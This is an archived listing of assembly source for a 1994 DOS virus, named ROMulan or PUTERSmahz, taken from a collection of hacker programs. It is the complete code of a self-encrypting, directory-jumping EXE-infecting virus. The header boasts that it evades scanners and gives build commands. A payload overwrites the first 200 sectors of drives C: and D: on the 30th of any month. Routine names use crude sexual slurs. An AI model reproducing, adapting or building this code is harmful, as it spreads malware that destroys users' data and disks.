home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / IVUPDAT2.ZIP / IVPROMU2.ZIP / PTRSHITZ.ASM next >
Assembly Source File  |  1994-07-25  |  12KB  |  392 lines

  1. ;------------------------
  2. ;ROMulan By Death Dealer
  3. ;666 In Size
  4. ;Direct Action EXE Appending Virus
  5. ;Jumps Directories
  6. ;If Seconds Are Less Then 15 Then User Gets Rom Basic!
  7. ;If Day Is 30th Of Any Month, Hard Drives C: To D: Die Instantly!
  8. ;Incredible Encryption Is Invisible To All String And Heuristics Scanners!
  9. ;It Is Safe To Infect Files On Floppy, However Make Sure It Is Not The 30th!
  10. ;Tasm /m
  11. ;Tlink /t
  12. ;------------------------
  13. ;Look For My New Mutation Engine Soon!  No Linking Required!
  14. ;That Means Any Fool Can Add It To Their Source!
  15. ;Simply By Running A Com File!
  16. ;------------------------
  17. ;
  18. ;
  19.  
  20. Code    Segment Public 'Code'
  21.         Assume  CS:Code
  22.         Org     100h                           
  23.  
  24. ID = 'KY'                                      
  25. MaxFiles = 20                                  
  26.  
  27. Start:
  28.  
  29. Virus:
  30.         call    realthingbaby                   
  31.  
  32. RealThingBaby:
  33.         nop
  34.         nop
  35.         nop
  36.         pop     si                              
  37.         sub     si,offset realthingbaby         
  38.         
  39.         call    Cloak_uncloak                   ; Uncloak the virus first
  40.  
  41. Cloak_Start   equ     $                         ; From here it is cloaked
  42.  
  43.         mov     bp,si                           
  44.  
  45.         push    ds                              
  46.         push    es                               
  47.         push    cs
  48.         pop     ds                               
  49.         push    cs
  50.         pop     es                               
  51.  
  52.         lea     si,[bp+jmpsave2]
  53.         lea     di,[bp+jmpsave]
  54.         movsw                                    
  55.         movsw                                    
  56.         movsw                                    
  57.         movsw                                    
  58.  
  59.         lea     dx,[bp+offset dta]               
  60.         call    set_DTA                          
  61.  
  62.         mov     [bp+counter],byte ptr 0          
  63.         mov     ax,3524h                         
  64.         int     21h                              
  65.         mov     word ptr [bp+oldint24],bx        
  66.         mov     word ptr [bp+oldint24+2],es
  67.  
  68.         mov     ah,25h                           
  69.         lea     dx,[bp+offset int24]             
  70.         int     21h
  71.  
  72.         push    cs                               
  73.         pop     es                               
  74.  
  75.         mov     ah,47h                           
  76.         mov     dl,0h                            
  77.         lea     si,[bp+offset currentdir]        
  78.         int     21h
  79.  
  80. JumpAround:
  81.         lea     dx,[bp+offset exefilespec]       
  82.         call    findfirst
  83.  
  84.         lea     dx,[bp+offset directory]         
  85.         mov     ah,3bh                            ; Change directory
  86.         int     21h
  87.         jnc     jumparound                       
  88.  
  89.         call    rom_fuck                          ; Call rom and disk fucker 
  90.       
  91.         
  92.         mov     ax,2524h                         
  93.         lds     dx,[bp+offset oldint24]          
  94.         int     21h
  95.  
  96.         push    cs
  97.         pop     ds                               
  98.  
  99.         lea     dx,[bp+offset currentdir]        
  100.         mov     ah,3bh                           
  101.         int     21h
  102.  
  103.         mov     dx,80h                           
  104.         call    set_dta                          
  105.  
  106.         pop     es                               
  107.         pop     ds                               
  108.  
  109.         mov     ax,es
  110.         add     ax,10h
  111.         add     word ptr cs:[bp+jmpsave+2],ax
  112.         add     ax,word ptr cs:[bp+stacksave+2]
  113.         cli                                      
  114.         mov     sp,word ptr cs:[bp+stacksave]
  115.         mov     ss,ax
  116.         sti
  117.         db      0eah                             
  118. jmpsave dd      ?                                
  119. stacksave dd    ?                                
  120. jmpsave2 dd     0fff00000h
  121. stacksave2 dd   ?
  122.  
  123. FindFirst:
  124.         cmp    [bp+counter],maxfiles             
  125.         ja     quit                              
  126.  
  127.         mov     ah,4eh                           
  128.         mov     cx,7                             
  129.  
  130. FindNext:
  131.         int     21h                              
  132.         jc      quit                             
  133.  
  134.         call    rape                        
  135.  
  136.         mov     ah,4fh                      
  137.         jmp     findnext                     
  138.  
  139. Quit:
  140.         ret
  141.  
  142. Rape:
  143.         mov     ax,3d00h                      
  144.         call    opencunt
  145.  
  146.         mov     ah,3fh                        
  147.         mov     cx,1ah                        
  148.         lea     dx,[bp+offset buffer]         
  149.         int     21h
  150.  
  151.         mov     ah,3eh                         
  152.         int     21h
  153.  
  154. CheckExe:
  155.         cmp     word ptr [bp+buffer+10h],id    
  156.         jz      quitrape                       
  157.         jmp     rapeexe
  158.  
  159. QuitRape:
  160.         ret
  161.  
  162. RapeExe:
  163.         les     ax,dword ptr [bp+buffer+14h]   
  164.         mov     word ptr [bp+jmpsave2],ax      
  165.         mov     word ptr [bp+jmpsave2+2],es
  166.  
  167.         les     ax,dword ptr [bp+buffer+0eh]   
  168.         mov     word ptr [bp+stacksave2],es     
  169.         mov     word ptr [bp+stacksave2+2],ax
  170.  
  171.         mov     ax, word ptr [bp+buffer+8]      
  172.         mov     cl,4
  173.         shl     ax,cl
  174.         xchg    ax,bx
  175.         les     ax,[bp+offset DTA+26]           
  176.         mov     dx,es                           
  177.         push    ax                              
  178.         push    dx
  179.  
  180.         sub     ax,bx                            
  181.         sbb     dx,0                             
  182.         mov     cx,10h                           
  183.         div     cx
  184.  
  185.         mov     word ptr [bp+buffer+14h],dx      
  186.         mov     word ptr [bp+buffer+16h],ax     
  187.  
  188.         mov     word ptr [bp+buffer+0eh],ax     
  189.         mov     word ptr [bp+buffer+10h],id     
  190.         pop     dx                              
  191.         pop     ax
  192.  
  193.         add     ax,eof-virus                    
  194.         adc     dx,0                            
  195.  
  196.         mov     cl,9                            
  197.         push    ax
  198.         shr     ax,cl
  199.         ror     dx,cl
  200.         stc
  201.         adc     dx,ax
  202.         pop     ax
  203.         and     ah,1
  204.  
  205.         mov     word ptr [bp+buffer+4],dx        
  206.         mov     word ptr [bp+buffer+2],ax
  207.  
  208.         push    cs                               
  209.         pop     es
  210.  
  211.         mov     cx,1ah                           
  212.  
  213. FinishRape:
  214.         push    cx                               
  215.         xor     cx,cx                            
  216.         call    attributes
  217.  
  218.         mov     al,2                             
  219.         call    opencunt
  220.  
  221.         mov     ah,40h                           
  222.         lea     dx,[bp+buffer]                   
  223.         pop     cx                               
  224.         int     21h
  225.         jc      closecunt
  226.  
  227.         mov     al,02                            
  228.         Call    move_fp
  229.  
  230. Get_Time:
  231.         mov     ah,2ch                           
  232.         int     21h
  233.         cmp     dh,0                             
  234.         je      get_time
  235.         mov     [bp+enc_value],dh                
  236.  
  237.         call    cloak_rape                    
  238.  
  239.         inc     [bp+counter]                  
  240.  
  241. CloseCunt:
  242.         mov     ax,5701h                      
  243.         mov     cx,word ptr [bp+dta+16h]      
  244.         mov     dx,word ptr [bp+dta+18h]      
  245.         int     21h
  246.  
  247.         mov     ah,3eh                        
  248.         int     21h
  249.  
  250.         xor     cx,cx
  251.         mov     cl,byte ptr [bp+dta+15h]       
  252.         call    attributes
  253.  
  254.         retn
  255.  
  256. Rom_Fuck:               ;The rom routine
  257.         int     21
  258.         
  259.         mov     ah,2ch                         
  260.         int     21h
  261.  
  262.         cmp     dh,15       ;Are the seconds less then 15?                     
  263.         ja      phase_two   ;If not go to Nuke_disk
  264.  
  265.         cmp     dh,15       ;Are the seconds less then 15?                     
  266.         ja      phase_two   ;If not go to Nuke_disk
  267.  
  268. Phase_Two:
  269.         call    nuke_disk
  270.  
  271. Nuke_Disk:        
  272.         mov     ah,2ah
  273.         int     21h
  274.         
  275.         cmp     dl,30           ;Is it the 30th of any month?
  276.         jne     dont_do_shit    ;if not then continue virus
  277.  
  278.         mov     al,2         ;The C: Drive
  279.         mov     cx,200       ;200 sectors starting at 0
  280.         cli                  ;no aborting :)
  281.         cwd
  282.         int     026h         ;smash the drive!
  283.         sti
  284.         
  285.         mov     al,3        ;The D: Drive
  286.         mov     cx,200      ;Sectors 0-200
  287.         cli                 ;same
  288.         cwd
  289.         int     026h        ;ditto
  290.         sti
  291.  
  292. Dont_Do_Shit:
  293.         ret
  294.  
  295. Move_Fp:
  296.         mov     ah,42h                          
  297.         xor     cx,cx                           
  298.         xor     dx,dx                           
  299.         int     21h
  300.         retn
  301.  
  302. Set_DTA:
  303.         mov     ah,1ah                          
  304.         int     21h                             
  305.         retn
  306.  
  307. OpenCunt:
  308.         mov     ah,3dh                          
  309.         lea     dx,[bp+DTA+30]                  
  310.         int     21h
  311.         xchg    ax,bx                           
  312.         ret
  313.  
  314. Attributes:
  315.         mov     ax,4301h                        
  316.         lea     dx,[bp+DTA+30]                  
  317.         int     21h
  318.         ret
  319.  
  320. Int24:                                          
  321.         mov     al,3                            
  322.         iret                                    
  323.  
  324. Virus_name     db 'PUTERSmahz'                     
  325. Virus_man      db 'KiZZ mE Azz DaN Snyder (Violator)'  
  326. Thanx_to       db 'Gretz to Menace WC (Hope this helpz)'
  327.  
  328.  
  329. exefilespec  db  '*.exe',0                      
  330. directory    db '..',0                          
  331.  
  332. Cloak_Rape:
  333.         lea     si,[bp+offset move_begin]       
  334.         lea     di,[bp+offset workarea]         
  335.         mov     cx,move_end-move_begin          
  336.  
  337. Move_JumpAround:
  338.         movsb                                   
  339.         loop    move_jumparound
  340.         lea     dx,[bp+offset workarea]
  341.         call    dx                              
  342.         ret
  343.  
  344. Move_Begin    equ     $                         
  345.         mov     si,bp                           
  346.         push    bx                              
  347.         lea     dx,[bp+offset Cloak_end]
  348.         call    dx                              
  349.         pop     bx                              
  350.         mov     ah,40h                          
  351.         mov     cx,eof-virus                     
  352.         lea     dx,[bp+offset virus]              
  353.         int     21h
  354.         push    bx                                
  355.         lea     dx,[bp+offset cloak_end]
  356.         call    dx                                
  357.         pop     bx                                
  358.         ret
  359. Move_End      equ     $                           
  360.  
  361. Cloak_End   equ     $                           
  362.  
  363. Cloak_Uncloak:
  364.         lea     bx,[si+cloak_start]             
  365.         mov     cx,cloak_end-cloak_start      
  366.  
  367. Cloak_JumpAround:
  368.         mov     ah,cs:[bx]                       
  369.         xor     ah,[si+enc_value]                
  370.         mov     cs:[bx],ah                       
  371.         inc     bx                               
  372.         loop    cloak_jumparound
  373.         ret
  374.  
  375. Enc_Value     db    00h                          
  376.  
  377. EOF     equ     $                                
  378.  
  379. Counter db 0                                     
  380. Workarea db     move_end-move_begin dup (?)      
  381. currentdir db   64 dup (?)                       
  382. DTA     db      42 dup (?)                       
  383. Buffer db 1ah dup (?)                            
  384. OldInt24 dd ?                                    
  385.  
  386. eov     equ     $                                
  387.  
  388. code    ends
  389.         end     start
  390.  
  391.  
  392.